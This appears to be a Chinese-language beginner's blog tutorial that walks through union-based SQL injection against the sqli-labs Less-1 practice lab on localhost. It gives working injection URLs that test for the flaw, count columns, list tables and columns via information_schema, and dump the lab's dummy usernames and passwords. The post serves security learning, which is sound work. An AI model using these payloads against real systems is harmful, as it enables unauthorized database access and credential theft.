首先介绍几个英文单词:
schema:数据库
table:表
column:列 / 字段
常用的函数:
select就不说了,不会的建议去菜鸟教程看
insert into 表名 name(字段名1,字段名2…) values(值1,值2…)
update 表名 set 字段名 = 更新后的值 where 选择条件
delete from 表名 where 选择条件
limit 偏移量,操作个数
比如说 limit 0,1 就是从0开始,查一个
几个查询数据库基本信息的函数:
database() : 查看当前操作(use)的数据库,返回数据库名。
user() : 查看当前数据库的用户名。
version() : 查看当前mysql版本号。
几种注释方法:
ps:这里我发现#不好用,不知道怎么回事,在地址栏输了#和没输一样,如果你知道是怎么回事拜托请在评论区告诉我,感激!
然后 --空格 这个注意在地址栏的时候输减减加
第三个我还没用过
在mysql中,有一个默认的数据库叫做 information_schema
里面有很多表,其中有几个比较重要的(目前学习到的):tables columns schemata
我们可以利用这个数据库来获得想要的数据库名表名以及字段名
比如
这里我输入的是 id=1’ ,正常来说应该是输入一个id就可以了,多出来的这个 ‘ 是为了检测是否存在注入漏洞。
根据这里的错误回显可以知道,原来的选择语句大概如下
select 两个字段名 from 表名 where id =’ 你提交的参数 ’ LIMIT 0,1;
首先我们知道了这里存在sql注入,那么我们就要先写出一个查询语句,再通过构造,把语句注入。
union select group_concat(table_name) from information_schema.tables where table_schema = database()
补充说明:
union select 就是联合查询的意思,同时进行两个查询
group_concat() 就是用逗号连接全部值
information_schema.tables 这个 . 就是操作数据库下的表,自己理解一下,有点和c语言和python都挺像的。
然后再构造
http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=0’ union select group_concat(table_name) from information_schema.tables where table_schema = database() --+
按道理来说应该会显示我查询的全部属于当前数据库下的表名啊。
查阅资料…
发现原来注入步骤不对。
先给出正确步骤:
那么就有问题了,为什么我们要先判断字段数呢?
首先我们要明白,我们查询之后的结果想要显示,那么必须知道网页后台原语句显示的是哪几个,我们要把注入的查询的字段数==后台原查询字段数 才能显示。
好像有点不理解,我们举个梨子:
比如说这里
正常情况是查询了3个字段,当然,这是光看出来的,我们应该要写出一个语句来判断它到底查询了多少个字段。
这里就要用到order by 语句
order by 数字,它的使用就是省略了字段名称直接使用num数字来代替相应位置的字段名称,相当于你可以直接用这个数字代替字段名。
比如 order by 1 就是操作第一个字段。
所以就可以用order by 来判断第几个字段是否存在。
http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=1’ order by 4 --+
然后报错,说字段‘4’不在指定语句中。
知道了字段数我们就应该看一看各个查询的字段都显示在什么位置
这里使用select语句来查看各个显示位
补充说明:
select 语句直接加数字这种是把数字的值直接赋给列名了。
例如
我们配合这样使用数字代表字段名和字段值,就可以得到字段值显示的位置,从而修改该位置显示的数据,如修改成显示账户名和密码等我们需要的数据。
http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=1’ union select 1,2,3 --+
呜呜怎么还是这样。
研究发现,要使前面的查询语句查不到,不然就显示了前面的,后面的就不显示了。
修改为
http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=0’ union select 1,2,3 --+
终于好了。
可以看到,这个第一个位置是不显示我们的字段值的,只有23两个位置有显示
然后修改一开始的注入代码
http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+
好了
再同样方法得到user表中的字段名
http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = “users” --+
注意users要打引号哦
不过我这里好像有点问题,如果和我的不一样应该才是正常的
再用同样方法得到账户名和密码
http://127.0.0.1:8081/sqli-labs-master/Less-1/?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+
Welcome Dhakkan
Your Login name:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
Your Password:3
应该差不多是这样。
关于sqlmap的使用,以后再写吧…
本文系作者原创,若有错误恳请斧正,不胜感激。